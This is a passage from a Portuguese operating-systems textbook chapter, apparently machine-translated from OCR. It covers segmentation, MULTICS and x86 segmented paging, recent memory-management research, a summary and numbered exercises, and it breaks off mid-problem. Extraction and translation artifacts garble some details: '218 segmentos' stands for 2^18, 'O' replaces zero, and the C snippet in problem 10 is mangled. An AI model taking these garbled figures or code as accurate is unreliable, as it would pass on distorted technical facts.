muitos dos algoritmos de paginação. Assim, ou algum mecanismo é necessário para passar esta informação para o 
pager externo, ou o algoritmo de substituição de página deve ir para o kernel. Neste último caso, o manipulador de 
falhas informa ao pager externo qual página ele selecionou para remoção e fornece os dados, mapeando-os no 
espaço de endereço do pager externo ou incluindo-os em uma mensagem. De qualquer forma, o pager externo 


grava os dados em armazenamento não volátil. 


A principal vantagem desta implementação é um código mais modular e maior flexibilidade. A principal 
desvantagem é a sobrecarga extra de cruzar a fronteira do kernel do usuário diversas vezes e a sobrecarga das 
diversas mensagens enviadas entre as partes do sistema. O assunto é controverso, mas à medida que os 
computadores se tornam cada vez mais rápidos e o software se torna cada vez mais complexo, no longo prazo 
sacrificar parte do desempenho por software mais confiável pode ser aceitável para a maioria dos implementadores 


e usuários. Alguns sistemas operacionais que implementam paginação em 
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o kernel do sistema operacional, como o Linux, hoje em dia também oferece suporte para paginação sob 
demanda em processos do usuário (ver, por exemplo, userfaultfd). 


3.7 SEGMENTAÇÃO 


Apesar da paginação, a memória virtual discutida até agora é unidimensional porque os endereços 
virtuais vão de O a algum endereço máximo, um endereço após o outro. Para muitos problemas, ter dois 
ou mais espaços de endereços virtuais separados pode ser muito melhor do que ter apenas um. Por 
exemplo, um compilador tem muitas tabelas que são construídas à medida que a compilação prossegue, 
possivelmente incluindo 


1. O texto fonte sendo salvo para a listagem impressa (em sistemas em lote). 
2. A tabela de símbolos, contendo os nomes e atributos das variáveis. 

3. A tabela contendo todas as constantes inteiras e de ponto flutuante usadas. 
4. A árvore de análise, contendo a análise sintática do programa. 

5. A pilha usada para chamadas de procedimento no compilador. 


Cada uma das primeiras quatro tabelas cresce continuamente à medida que a compilação avança. O 
último cresce e diminui de maneira imprevisível durante a compilação. Em uma memória unidimensional, 
essas cinco tabelas teriam que ser alocadas em pedaços contíguos de espaço de endereço virtual, como 
na Figura 3.30. 

Considere o que acontece se um programa tiver um número de variáveis muito maior do que o 
normal, mas uma quantidade normal de todo o resto. A parte do espaço de endereço alocado para a 
tabela de símbolos pode ser preenchida, mas pode haver muito espaço nas outras tabelas. O que é 
necessário é uma maneira de liberar o programador da necessidade de gerenciar as tabelas de expansão 
e contração, da mesma forma que a memória virtual elimina a preocupação de organizar o programa em 
sobreposições. 

Uma solução simples e bastante geral é fornecer à máquina muitos espaços de endereçamento 
completamente independentes, chamados segmentos. Cada segmento consiste em uma sequência linear 
de endereços, começando em 0 e indo até algum valor máximo. O comprimento de cada segmento pode 
variar de O até o endereço máximo permitido. Segmentos diferentes podem, e geralmente têm, 
comprimentos diferentes. Além disso, os comprimentos dos segmentos podem mudar durante a execução. 
O comprimento de um segmento de pilha pode ser aumentado sempre que algo é colocado na pilha e 
diminuído sempre que algo é retirado da pilha. 


Como cada segmento constitui um espaço de endereço separado, segmentos diferentes podem 
aumentar ou diminuir independentemente, sem afetar uns aos outros. Se uma pilha em um determinado 
segmento precisar de mais espaço de endereçamento para crescer, ela poderá tê-lo, porque não há mais 
nada em seu espaço de endereçamento com que esbarrar. É claro que um segmento pode ser preenchido, 
mas os segmentos geralmente são muito grandes, portanto essa ocorrência é rara. Para especificar um 
endereço nesta memória segmentada ou bidimensional, o programa deve fornecer um endereço de duas partes 
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Figura 3-30. Em um espaço de endereço unidimensional com tabelas crescentes, uma tabela 


pode esbarrar em outra. 


endereço, um número de segmento e um endereço dentro do segmento. A Figura 3-31 ilustra uma 
memória segmentada sendo usada para as tabelas do compilador discutidas anteriormente. 


Cinco segmentos independentes são mostrados aqui. 
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Figura 3-31. Uma memória segmentada permite que cada tabela cresça ou diminua 


independentemente das outras tabelas. 
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Enfatizamos aqui que um segmento é uma entidade lógica, que o programador está 
aw são e usam como uma entidade lógica. Um segmento pode conter um procedimento ou um 
array, ou uma pilha, ou uma coleção de variáveis escalares, mas geralmente não contém um 
mistura de diferentes tipos. 

Uma memória segmentada tem outras vantagens além de simplificar o manuseio de 
estruturas de dados que estão crescendo ou diminuindo. Se cada procedimento ocupar um segmento separado, 
tendo o endereço O como endereço inicial, a ligação de procedimentos compilados separadamente é bastante 
simplificada. Após todos os procedimentos que constituem um programa terem sido compilados e vinculados, 
uma chamada de procedimento para o procedimento no segmento n usará o endereço de duas partes (n, 0) para 
endereçar a palavra O (o ponto de entrada). 

Se o procedimento no segmento n for subsequentemente modificado e recompilado, não 
outros procedimentos precisam ser alterados (porque nenhum endereço inicial foi modificado), mesmo que a 
nova versão seja maior que a antiga. Com uma dimensão unidimensional 
memória, os procedimentos são compactados um ao lado do outro, sem espaço de endereço entre eles. 
Conseguentemente, alterar o tamanho de um procedimento pode afetar 
o endereço inicial de todos os outros procedimentos (não relacionados) no segmento. Está em 
por sua vez, requer a modificação de todos os procedimentos que chamam qualquer um dos procedimentos movidos, em 
para incorporar seus novos endereços iniciais. Se um programa contém centenas 
de procedimentos, este processo pode ser dispendioso. 

A segmentação também facilita o compartilhamento de procedimentos ou dados entre vários processos. 
Um exemplo comum é a biblioteca compartilhada. Estações de trabalho modernas que funcionam 
sistemas de janelas avançados geralmente possuem bibliotecas gráficas extremamente grandes compiladas 
em quase todos os programas. Em um sistema segmentado, a biblioteca gráfica pode ser colocada 
em um segmento e compartilhado por múltiplos processos, eliminando a necessidade de tê-lo em 
espaço de endereço de cada processo. Embora também seja possível ter bibliotecas compartilhadas em 
sistemas de paginação puros, é mais complicado. Na verdade, esses sistemas fazem isso simulando a 
segmentação. 

Como cada segmento forma uma entidade lógica que os programadores conhecem, tais 
como um procedimento ou uma matriz, diferentes segmentos podem ter diferentes tipos de proteção. Um 
segmento de procedimento pode ser especificado como somente execução, proibindo tentativas 
para ler ou armazenar nele. Uma matriz de ponto flutuante pode ser especificada como leitura/gravação 
mas não executar, e as tentativas de pular para ele serão detectadas. Essa proteção é útil na detecção de bugs. 
Paginação e segmentação são comparadas na Figura 3.32. 


3.7.1 Implementação de Segmentação Pura 


A implementação da segmentação difere da paginação de uma forma essencial: 
as páginas têm tamanho fixo e os segmentos não. A Figura 3-33(a) mostra um exemplo de 
memória física contendo inicialmente cinco segmentos. Agora considere o que acontece se 
o segmento 1 é despejado e o segmento 7, que é menor, é colocado em seu lugar. Nós chegamos 
na configuração de memória da Figura 3.33(b). Entre o segmento 7 e o segmento 2 está 
uma área não utilizada — isto é, um buraco. Então o segmento 4 é substituído pelo segmento 5, como em 


Figura 3-33(c), e o segmento 3 é substituído pelo segmento 6, como na Figura 3-33(d). Depois de 
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Consideração Paginação Segmentação 
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Figura 3-32. Comparação de paginação e segmentação. 


sistema estiver funcionando há algum tempo, a memória será dividida em vários 

pedaços, alguns contendo segmentos e outros contendo buracos. Este fenômeno, 
chamado checkerboarding ou fragmentação externa, desperdiça memória nos buracos. 
Isso pode ser resolvido por compactação, como mostrado na Figura 3.33(e). 


3.7.2 Segmentação com Paginação: MULTICS 


Se os segmentos forem grandes, pode ser inconveniente, ou mesmo impossível, manter 
na memória principal em sua totalidade. Isso leva à ideia de paginá-los, então 
que apenas as páginas de um segmento que são realmente necessárias devem estar disponíveis. 
Vários sistemas importantes têm suportado segmentos paginados. Nesta seção, iremos 
descreva o primeiro: MULTICS. Seu design influenciou fortemente o Intel x86 
que da mesma forma ofereceu segmentação e paginação até x86-64. 
O sistema operacional MULTICS foi um dos sistemas operacionais mais influentes de todos os 
tempos, tendo tido uma grande influência em tópicos tão díspares como o UNIX, o x86 
arquitetura de memória, TLBs e computação em nuvem. Começou como uma pesquisa 
projeto no MIT e entrou em operação em 1969. O último sistema MULTICS foi desligado 
em 2000, um período de 31 anos. Poucos outros sistemas operacionais duraram mais ou menos 
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Figura 3-33. (a) — (d) Desenvolvimento do tabuleiro de damas. (e) Remoção do 
tabuleiro xadrez por compactação. 
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não modificado em qualquer lugar perto desse tempo. Embora os sistemas operacionais 
chamados Windows também já existam há tanto tempo, o Windows 11 não tem absolutamente 
nada em comum com o Windows 1.0, exceto o nome e o fato de ter sido escrito pela Microsoft. 
Ainda mais importante, as ideias desenvolvidas no MULTICS são tão válidas e úteis 
agora como eram em 1965, quando o primeiro artigo foi publicado (Corbato' e Vys 
sotsky, 1965). Por esse motivo, passaremos agora um pouco de tempo examinando o 
aspecto mais inovador do MULTICS, a arquitetura de memória virtual. Mais 
informações sobre o MULTICS podem ser encontradas em www.multicians.org. 

O MULTICS rodava nas máquinas Honeywell 6000 e seus descendentes e fornecia a 
cada programa uma memória virtual de até 218 segmentos, cada um com até 65.536 palavras 
(36 bits) de comprimento. Para implementar isso, os projetistas do MULTICS optaram por 
tratar cada segmento como uma memória virtual e paginá-lo, combinando as vantagens da 
paginação (tamanho de página uniforme e não ter que manter todo o segmento na memória 
se apenas parte dele estivesse sendo usada) com as vantagens da segmentação (facilidade 
de programação, modularidade, proteção, compartilhamento). 

Cada programa MULTICS possuía uma tabela de segmentos, com um descritor por 
segmento. Como havia potencialmente mais de um quarto de milhão de entradas na tabela, a 
tabela de segmentos era em si um segmento e era paginada. Um descritor de segmento 
continha uma indicação se o segmento estava ou não na memória principal. Se alguma parte 
do segmento estivesse na memória, o segmento era considerado na memória e sua tabela de 
páginas estava na memória. Se o segmento estivesse na memória, seu descritor continha um 
ponteiro de 18 bits para sua tabela de páginas, como na Figura 3.34(a). Como os endereços 
físicos tinham 24 bits e as páginas estavam alinhadas em limites de 64 bytes (o que implica 
que os 6 bits de ordem inferior dos endereços de página eram 000000), apenas 18 bits eram 
necessários no descritor para armazenar um endereço de tabela de páginas. O descritor também continha o 
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tamanho do segmento, os bits de proteção e outros itens. A Figura 3.34(b) ilustra um descritor de 
segmento. O endereço do segmento na memória secundária não estava no descritor do segmento, mas 
em outra tabela usada pelo manipulador de falhas do segmento. 


— 36 bits = 
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Entrada da página 1 
Entrada da página 0 


Tabela de páginas para o segmento 3 
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Entrada da página 0 
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0 = segmento é paginado 1 = 
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(b) 


Figura 3-34. A memória virtual MULTICS. (a) O segmento descritor apontou para as 


tabelas de páginas. (b) Um descritor de segmento. Os números são os comprimentos 
dos campos. 


Cada segmento era um espaço de endereço virtual comum e era paginado da mesma forma que a 
memória paginada não segmentada descrita anteriormente neste capítulo. O tamanho normal da página 
era de 1.024 palavras (embora alguns pequenos segmentos usados pelo próprio MULTICS não tenham 
sido paginados ou tenham sido paginados em unidades de 64 palavras para economizar memória física). 
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Um endereço no MULTICS consistia em duas partes: o segmento e o endereço dentro do segmento. 
O endereço dentro do segmento foi dividido em um número de página e uma palavra dentro da página, 
como mostrado na Figura 3.35. Quando ocorreu uma referência à memória, o seguinte algoritmo foi 
executado. 


1. O número do segmento foi usado para encontrar o descritor do segmento. 


2. Foi feita uma verificação se a tabela de páginas do segmento estava na memória. 
Se fosse, estava localizado. Caso contrário, ocorreu uma falha de segmento. Se houve 
uma violação da proteção, ocorreu uma falha (trap). 


3. A entrada da tabela de páginas para a página virtual solicitada foi examinada. Se a própria 
página não estivesse na memória, uma falha de página seria acionada. Se estivesse na 
memória, o endereço da memória principal do início da página era extraído da entrada da 
tabela de páginas. 


4. O deslocamento foi adicionado à origem da página para fornecer a memória principal 
endereço onde a palavra estava localizada. 


5. A leitura ou armazenamento finalmente ocorreu. 


Endereço dentro 


do segmento 


Número Deslocamento 
de página dentro da página 


Número do segmento 


18 
Figura 3-35. Um endereço virtual MULTICS de 34 bits. 


Este processo é ilustrado na Figura 3-36. Para simplificar, o fato de o segmento descritor ter sido 
paginado foi omitido. O que realmente aconteceu foi que um registro (o registro base do descritor) foi 
utilizado para localizar a tabela de páginas do segmento descritor, que, por sua vez, apontou para as 
páginas do segmento descritor. Uma vez encontrado o descritor para o segmento necessário, o 
endereçamento procedeu conforme mostrado na Figura 3.36. 


Como você sem dúvida já deve ter adivinhado, se o algoritmo anterior fosse realmente executado 
pelo sistema operacional em todas as instruções, os programas não seriam executados muito rápido e os 
usuários não ficariam satisfeitos. Na realidade, o hardware MULTICS continha um TLB de alta velocidade 
de 16 palavras que podia pesquisar todas as suas entradas em paralelo em busca de uma determinada 
chave. Este foi o primeiro sistema a possuir TLB, algo utilizado em todas as arquiteturas modernas. Está 
ilustrado na Figura 3-37. Quando um endereço era apresentado ao computador, o hardware de 
endereçamento verificava primeiro se o endereço virtual estava no TLB. Nesse caso, ele obteve o número 
do quadro da página diretamente do TLB e formou o endereço real da palavra referenciada sem precisar 
procurar no segmento descritor ou na tabela de páginas. 
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Figura 3-36. Conversão de um endereço MULTICS de duas partes em um endereço de memória principal. 
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Figura 3-37. Uma versão simplificada do MULTICS TLB. A existência de dois tamanhos de página 
tornou o TLB real mais complicado. 


Os endereços das 16 páginas referenciadas mais recentemente foram mantidos no TLB. 
Os programas cujo conjunto de trabalho era menor que o tamanho do TLB chegaram ao 
equilíbrio com os endereços de todo o conjunto de trabalho no TLB e, portanto, funcionaram 
de forma eficiente; caso contrário, houve falhas de TLB. 
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3.7.3 Segmentação com Paginação: O Intel x86 


Até o x86-64, o sistema de memória virtual do x86 se assemelhava ao do MULTICS em muitos 
aspectos, incluindo a presença de segmentação e paginação. 

Enquanto o MULTICS tinha 256 mil segmentos independentes, cada um com até 64 mil palavras de 36 
bits, o x86 possui 16 mil segmentos independentes, cada um contendo até 1 bilhão de palavras de 32 
bits. Embora existam menos segmentos, o tamanho maior do segmento é muito mais importante, uma 
vez que poucos programas necessitam de mais de 1000 segmentos, mas muitos programas necessitam 
de segmentos grandes. A partir do x86-64, a segmentação é considerada obsoleta e não é mais 
suportada, exceto no modo legado. Embora alguns vestígios dos antigos mecanismos de segmentação 
ainda estejam disponíveis no modo nativo do x86-64, principalmente para fins de compatibilidade, eles 
não desempenham mais a mesma função e não oferecem mais uma segmentação verdadeira. 

O x86-32, no entanto, ainda vem equipado com tudo isso. 

Então, por que a Intel eliminou o que era uma variante do modelo de memória MULTICS 
perfeitamente bom, que ela suportava há quase três décadas? Provavelmente, o principal motivo é que 
nem o UNIX nem o Windows o usaram, embora fosse bastante eficiente porque eliminava chamadas 
de sistema, transformando-as em chamadas de procedimento extremamente rápidas para o endereço 
relevante dentro de um segmento protegido do sistema operacional. Nenhum dos desenvolvedores de 
qualquer sistema UNIX ou Windows queria mudar seu modelo de memória para algo específico do x86 
porque isso certamente quebraria a portabilidade para outras plataformas. Como o software não estava 
utilizando o recurso, a Intel se cansou de desperdiçar área de chip para suportá-lo e o removeu das 
CPUs de 64 bits. 

Resumindo, é preciso dar crédito aos designers do x86. Dados os objetivos conflitantes de 
implementar paginação pura, segmentação pura e segmentos paginados, ao mesmo tempo em que é 
compatível com o 286 e faz tudo isso de forma eficiente, o design resultante é surpreendentemente 
simples e limpo. 


3.8 PESQUISA SOBRE GERENCIAMENTO DE MEMÓRIA 


O gerenciamento de memória é uma área de pesquisa ativa e a cada ano traz uma nova safra de 
publicações para melhorar a segurança, o desempenho de um sistema ou ambos. Além disso, embora 
os tópicos tradicionais de gerenciamento de memória, especialmente algoritmos de paginação para 
CPUs uniprocessadas, tenham desaparecido em grande parte, os pesquisadores agora procuram 
novos tipos de armazenamento ou a incorporação de memória em máquinas remotas (Ruan et al., 
2020). Além disso, algumas pessoas nunca dizem morrer e até mesmo a boa e velha chamada do 
sistema fork foi refeita. Observando que o desempenho do fork se tornou um gargalo para aplicações 
com uso intensivo de memória, já que todas as tabelas de páginas devem ser copiadas primeiro, mesmo 
que os dados e as próprias páginas de código sejam compartilhadas copy-on-write, como próximo 
passo lógico, os pesquisadores decidiram para também compartilhar as tabelas de páginas copy-on-write (Zhao, 2021). 

O gerenciamento de memória em datacenters e nuvens é complicado. Por exemplo, um grande 
problema surge quando uma máquina virtual está funcionando alegremente enquanto todos os 
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de repente, o hipervisor precisa de uma atualização. Embora você possa migrar o virtual 
máquinas para outro nó, isso acaba sendo ineficiente e as atualizações no local são 
muitas vezes possível, mesmo sem reinicialização, preservando as páginas de memória da máquina virtual 
(Russinovich, 2021). Outro problema que torna o gerenciamento de memória em 
esses ambientes diferentes das configurações tradicionais é que nos data centers muitos 
os aplicativos são executados em uma pilha de software complexa, onde cada camada ocupa alguma memória 
o gerenciamento e as aplicações são capazes de adaptar seu desempenho à memória disponível, tornando o 
modelo de conjunto de trabalho ineficaz. O desempenho pode ser 
melhorado com a inserção de políticas e mecanismos em cada camada para coordenar o gerenciamento da 
memória (Lion et al., 2021). 

A integração de novas formas de memória e armazenamento na hierarquia de memória regular não é fácil e 
a adoção de memória persistente em sistemas existentes tem 
foi uma jornada acidentada (Neal et al., 2020). Muitas pesquisas tentam fazer a integração 
mais perfeito. Por exemplo, os pesquisadores desenvolveram técnicas para conversão 
de endereços DRAM regulares para endereços de memória persistentes (Lee et al., 2019). 
Outros usaram memória persistente para converter memória distribuída existente 
sistemas de armazenamento em versões persistentes e consistentes com falhas, com baixa sobrecarga e 
alterações mínimas de código (Zhang et al., 2020). 

Muitos aspectos do gerenciamento de memória tornaram-se um campo de batalha para pesquisadores de 
segurança. Por exemplo, reduzir o consumo de memória de um sistema por meio 
da desduplicação de memória acaba sendo uma operação altamente sensível à segurança. Quem 
sabia? Por exemplo, os invasores podem detectar que uma página foi desduplicada e 
aprenda assim o que outro processo tem em seu espaço de endereço (Bosman e Bos, 2016). 
Para eliminar a ameaça, a desduplicação deve ser projetada de forma que não seja mais possível 
distinguir entre páginas desduplicadas e não desduplicadas (Oliverio, et al., 
2017). 

Muitos ataques ao sistema operacional dependem do alinhamento da memória em 
o caminho certo. Por exemplo, os invasores podem corromper algum valor importante 
(por exemplo, o endereço de retorno de uma chamada de procedimento), mas somente se o objeto correspondente 
está em um local específico. Esse layout de feng shui é complicado de executar 
a partir de um processo de usuário e os pesquisadores têm procurado maneiras de automatizar esse processo 
(Chen e Xing, 2019). 

Finalmente, houve um trabalho substancial em sistemas operacionais devido ao Meltdown 
e vulnerabilidades Spectre em CPUs populares (veja também o Capítulo 9). Em particular, é 
levou a mudanças radicais e caras no Linux em muitos processadores. Onde o 
O kernel do Linux foi originalmente mapeado no espaço de endereço de cada processo como um 
medida para acelerar as chamadas do sistema (evitando a necessidade de alterar tabelas de páginas para 
uma chamada de sistema), o Meltdown exigia um isolamento estrito da tabela de páginas. Como isso tornou a 
mudança de contexto muito mais cara, os desenvolvedores do Linux ficaram furiosos com a Intel. 
Os nomes inicialmente propostos para a solução cara eram “Separação do espaço de endereço do usuário” e 
“Desmapear à força o kernel completo com trampolins de interrupção”. 
mas eventualmente eles decidiram pelo isolamento da tabela de páginas do kernel (kpti), como a sigla é 


consideravelmente menos ofensivo. 
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3.9 RESUMO 


Neste capítulo, examinamos o gerenciamento de memória. Vimos que os sistemas mais simples 
não trocam nem paginam. Depois que um programa é carregado na memória, ele permanece lá até 
terminar. Alguns sistemas operacionais permitem apenas um processo por vez na memória, enquanto 
outros suportam multiprogramação. Este modelo ainda é comum em pequenos sistemas embarcados de 
tempo real. 

O próximo passo é a troca. Quando a troca é usada, o sistema pode lidar com mais processos do 
que tem espaço na memória. Os processos para os quais não há espaço são transferidos para o disco 
ou SSD. O espaço livre na memória e no armazenamento não volátil pode ser monitorado com um 
bitmap ou uma lista de furos. 

Os computadores modernos geralmente possuem algum tipo de memória virtual. Na forma mais 
simples, o espaço de endereço de cada processo é dividido em blocos de tamanho uniforme chamados 
páginas, que podem ser colocados em qualquer quadro de página disponível na memória. Existem muitos 
algoritmos de substituição de páginas; dois dos melhores algoritmos são envelhecimento e WSClock. 


Para fazer com que os sistemas de paginação funcionem bem, escolher um algoritmo não é 
suficiente; é necessária atenção a questões como determinação do conjunto de trabalho, política de 
alocação de memória e tamanho da página. 

A segmentação ajuda no tratamento de estruturas de dados que podem mudar de tamanho durante 
a execução e simplifica a vinculação e o compartilhamento. Também facilita o fornecimento de diferentes 
proteções para diferentes segmentos. Às vezes, a segmentação e a paginação são combinadas para 
fornecer uma memória virtual bidimensional. O sistema MULTICS e o Intel x86 de 32 bits suportam 
segmentação e paginação. Ainda assim, está claro que poucos desenvolvedores de sistemas 
operacionais se preocupam profundamente com a segmentação (porque estão casados com um modelo 
de memória diferente). 


PROBLEMAS 


1. Na Figura 3-3, os registradores base e limite contêm o mesmo valor, 16.384. Isso é apenas um acidente ou eles são sempre os 


mesmos? Se não for um acidente, por que são iguais neste exemplo? 


2. Neste problema, você deve comparar o armazenamento necessário para controlar a memória livre usando um bitmap versus uma 
lista vinculada. A memória de 8 GB é alocada em unidades de n bytes. Para a lista encadeada, suponha que a memória consiste 
em uma sequência alternada de segmentos e buracos, cada um com 1 MB. Suponha também que cada nó na lista vinculada 
precisa de um endereço de memória de 32 bits, um comprimento de 16 bits e um campo de próximo nó de 16 bits. Quantos bytes 


de armazenamento são necessários para cada método? Qual é o melhor? 
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3. Considere um sistema de troca no qual a memória consiste nos seguintes tamanhos de furos em ordem de memória: 10 
MB, 4 MB, 20 MB, 18 MB, 7 MB, 9 MB, 12 MBe 15 MB. 
Qual buraco é obtido para solicitações de segmento sucessivas de 


(a) 12 MB (b) 
10 MB (c) 9 
MB 


para o primeiro ajuste? Agora repita a pergunta para melhor ajuste, pior ajuste e próximo ajuste. 


4. Os primeiros gerenciadores e seções de sobreposição foram escritos à mão por programadores. 
Em princípio, isso poderia ser feito automaticamente pelo compilador para um sistema com memória limitada? Se sim, 
como e que dificuldades surgiriam? 


5. Em que situações na computação moderna um sistema de memória do tipo sobreposição pode ser eficaz e por quê? 


6. Qual é a diferença entre um endereço físico e um endereço virtual? 


7. Para cada um dos seguintes endereços virtuais decimais, calcule o número da página virtual e o deslocamento para 
uma página de 4 KB e para uma página de 8 KB: 20000, 32768, 60000. 


8. Usando a tabela de páginas da Figura 3-9, forneça o endereço físico correspondente a cada um dos seguintes endereços 
virtuais: 


(a) 2.000 
(b) 8.200 
(c) 16.536 


9. Que tipo de suporte de hardware é necessário para que uma memória virtual paginada funcione? 
10. Considere o seguinte programa C: 


interno X[N]; 
step = M; para /* M é alguma constante predefinida */ int 
(int i = 0; i < N; i += etapa) X[i] = X[i] + 1; 


(a) Se este programa for executado em uma máquina com tamanho de página de 4 KB e TLB de 64 entradas, quais 
valores de M e N causarão uma falha de TLB para cada execução do loop interno? (b) Sua resposta na parte 
(a) seria diferente se o loop fosse repetido muitas vezes? 
Explicar. 


11. A quantidade de espaço em disco que deve estar disponível para armazenamento de páginas está relacionada ao 
número máximo de processos, n, ao número de bytes no espaço de endereço virtual, v, e ao número de bytes de 
RAM, r. Forneça uma expressão para os requisitos de espaço em disco do pior caso. Quão realista é esse valor? 


12. Se uma instrução leva 2 ns e uma falta de página leva n ns adicionais, forneça uma fórmula para o tempo efetivo de 
instrução se falhas de página ocorrerem a cada k instruções. 


13. Suponha que uma máquina tenha endereços virtuais de 48 bits e endereços físicos de 32 bits. 


(a) Se as páginas têm 4 KB, quantas entradas existem na tabela de páginas se ela tiver apenas uma única? 
nível? Explicar. 
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(b) Suponha que este mesmo sistema possua um TLB (Translation Lookaside Buffer) com 32 entradas. Além disso, 
suponha que um programa contém instruções que cabem em uma página e lê sequencialmente elementos 
inteiros longos de um array que abrange milhares de páginas. Quão eficaz será o TLB neste caso? 


14. Você recebe os seguintes dados sobre um sistema de memória virtual: 


(a) O TLB pode conter 1.024 entradas e pode ser acessado em 1 ciclo de clock (1 nseg). (b) Uma entrada 
na tabela de páginas pode ser encontrada em 100 ciclos de clock ou 100 nseg. (c) O 
tempo médio de substituição da página é de 6 ms. 


Se as referências de página são tratadas pelo TLB 99% das vezes e apenas 0,01% levam a uma falha de página, 
qual é o tempo efetivo de tradução de endereço? 


15. Alguns sistemas operacionais, em particular o Linux, possuem um único espaço de endereço virtual, com algum 
conjunto de endereços designados para o kernel, e outro conjunto de endereços designados para processos de 
espaço de usuário. O kernel Linux de 64 bits suporta um máximo de 4.194.304 processos na tabela de processos e 
o kernel recebe metade do espaço de endereço virtual. Se o espaço de endereçamento da memória for dividido 
igualmente entre todos os processos, quanto espaço de endereçamento virtual seria alocado para cada processo, 
no mínimo, com o número máximo de processos em execução? 


16. O kernel Linux de 32 bits suporta um máximo de 32.768 processos na tabela de processos, e o kernel recebe 
1.073.741.824 (1 GiB) do espaço de endereço virtual. Se o espaço de endereçamento da memória for dividido 
igualmente entre todos os processos, quanto espaço de endereçamento virtual seria alocado para cada processo, 
no mínimo, com o número máximo de processos em execução? 


17. A Seção 3.3.4 afirma que o Pentium Pro estendeu cada entrada na hierarquia da tabela de páginas para 64 bits, 
mas ainda assim só conseguia endereçar 4 GB de memória. Explique como esta afirmação pode ser verdadeira 
quando as entradas da tabela de páginas têm 64 bits. 


18. Um computador com endereço de 32 bits usa uma tabela de páginas de dois níveis. Os endereços virtuais são 
divididos em um campo de tabela de páginas de nível superior de 9 bits, um campo de tabela de páginas de 
segundo nível de 11 bits e um deslocamento. Qual o tamanho das páginas e quantas existem no espaço de endereço? 


19. Suponha que um endereço virtual de 32 bits seja dividido em quatro campos, a, b, c e d. Os três primeiros são usados 
para um sistema de tabela de páginas de três níveis. O quarto campo, d, é o deslocamento. 
O número de páginas depende do tamanho dos quatro campos? Se não, quais são importantes e quais não? 


20. Um computador possui endereços virtuais de 32 bits e páginas de 4 KB. O programa e os dados cabem na página 
mais baixa (0-4095). A pilha cabe na página mais alta. Quantas entradas serão necessárias na tabela de páginas 
se a paginação tradicional (de um nível) for usada? Quantas entradas da tabela de páginas são necessárias para 
paginação em dois níveis, com 10 bits em cada parte? 


21. Abaixo está um rastreamento de execução de um fragmento de programa para um computador com páginas de 512 
bytes. O programa está localizado no endereço 1020 e seu ponteiro de pilha está em 8192 (a pilha cresce em 
direção a 0). Forneça a string de referência da página gerada por este programa. Cada instrução ocupa 4 bytes (1 
palavra) incluindo constantes imediatas. As referências de instrução e de dados contam na string de referência. 
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Carregue a palavra 6144 no registro O 

Empurre o registro O para a pilha 

Chame um procedimento em 5120, empilhando o endereço de retorno 
Subtraia a constante imediata 16 do ponteiro da pilha 

Compare o parâmetro real com a constante imediata 4 

Salte se for igual a 5152 


22. Um computador cujos processos possuem 1.024 páginas em seus espaços de endereço mantém suas tabelas de 
páginas na memória. A sobrecarga necessária para ler uma palavra da tabela de páginas é de 5 ns. Para reduzir 
essa sobrecarga, o computador possui um TLB, que contém 32 pares (página virtual, quadro de página física) e pode 
fazer uma pesquisa em 1 nseg. Qual taxa de acerto é necessária para reduzir a sobrecarga média para 2 ns? 


23. O VAX foi o computador dominante nos departamentos universitários de ciência da computação durante a maior parte 
da década de 1980. O TLB no VAX não continha um bit R. Mesmo assim, essas pessoas supostamente inteligentes 
continuaram comprando VAXes. Isso foi apenas devido à sua lealdade ao antecessor do VAX, o PDP-11, ou houve 
algum outro motivo pelo qual eles toleraram isso durante anos? 


24. Uma máquina possui endereços virtuais de 48 bits e endereços físicos de 32 bits. As páginas têm 8 KB. 
Quantas entradas são necessárias para uma tabela de páginas lineares de nível único? 


25. Um computador com uma página de 8 KB, uma memória principal de 256 KB e um espaço de endereço virtual de 64 
GB usa uma tabela de páginas invertidas para implementar sua memória virtual. Qual deve ser o tamanho da tabela 
hash para garantir um comprimento médio da cadeia hash menor que 1? Suponha que o tamanho da tabela hash 
seja uma potência de dois. 


26. Um aluno de um curso de design de compiladores propõe ao professor um projeto para escrever um compilador que 
produzirá uma lista de referências de páginas que podem ser usadas para implementar o algoritmo ideal de 
substituição de páginas. Isso é possível? Por que ou por que não? Existe alguma coisa que poderia ser feita para 
melhorar a eficiência da paginação em tempo de execução? 


27. Suponha que o fluxo de referência de página virtual contenha repetições de longas sequências de referências de 
página seguidas ocasionalmente por uma referência de página aleatória. Por exemplo, a sequência: 0, 1,..., 511, 
431,0,1,...,511,332,0, 1, ... consiste em repetições do 511 seguidas por uma referência aleatória às páginas 431 

e 332. sequência 0, 1, ..., 


(a) Por que os algoritmos de substituição padrão (LRU, FIFO, clock) não serão eficazes no tratamento dessa carga 
de trabalho para uma alocação de página menor que o comprimento da sequência? 


(b) Se este programa recebesse 500 quadros de páginas, descreva uma abordagem de substituição de páginas que 
teria um desempenho muito melhor que os algoritmos LRU, FIFO ou de relógio. 


28. Se a substituição de página FIFO for usada com quatro quadros de páginas e oito páginas, quantas falhas de página 
ocorrerão com a string de referência 0172327103 se os quatro quadros estiverem inicialmente vazios? Agora repita 
este problema para LRU. 


29. Considere a sequência de páginas da Figura 3.15(b). Suponha que os bits R das páginas Ba A sejam 11011011, 
respectivamente. Qual página será removida pela segunda chance? 


30. Um pequeno computador em um cartão inteligente possui quatro quadros de página. No primeiro tick do clock, os bits 
R são 0111 (a página O é 0, o restante é 1). Nos tiques do relógio subsequentes, os valores são 
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1011, 1010, 1101, 0010, 1010, 1100 e 0001. Se o algoritmo de envelhecimento for usado com um 
Contador de 8 bits, forneça os valores dos quatro contadores após o último tick. 


31. Dê um exemplo simples de sequência de referência de página em que a primeira página selecionada para 
a substituição será diferente para os algoritmos de substituição de relógio e de página LRU. 
Suponha que um processo receba 3 = três quadros e a string de referência contenha 
números de página do conjunto 0, 1, 2, 3. 


32. Um estudante afirmou que “em resumo, os algoritmos básicos de substituição de página 
(FIFO, LRU, ótimo) são idênticos, exceto pelo atributo usado para selecionar a página 
ser substituído." 


(a) Qual é esse atributo para o algoritmo FIFO? Algoritmo LRU? Algoritmo ideal? 


(b) Forneça o algoritmo genérico para esses algoritmos de substituição de página. 


33. Quanto tempo leva para carregar um programa de 64 KB de um disco cujo tempo médio de busca é 
5 ms, cujo tempo de rotação é de 5 ms e cujas trilhas contêm 1 MB 


(a) para um tamanho de página de 2 KB? 


(b) para um tamanho de página de 4 KB? 


As páginas estão espalhadas aleatoriamente pelo disco e o número de cilindros é tão grande 


que a chance de duas páginas estarem no mesmo cilindro é insignificante. 
34. Considere o algoritmo de substituição de página FIFO e a seguinte string de referência: 


123412512345 


Quando o número de quadros de página aumenta de três para quatro, o número de quadros de página 


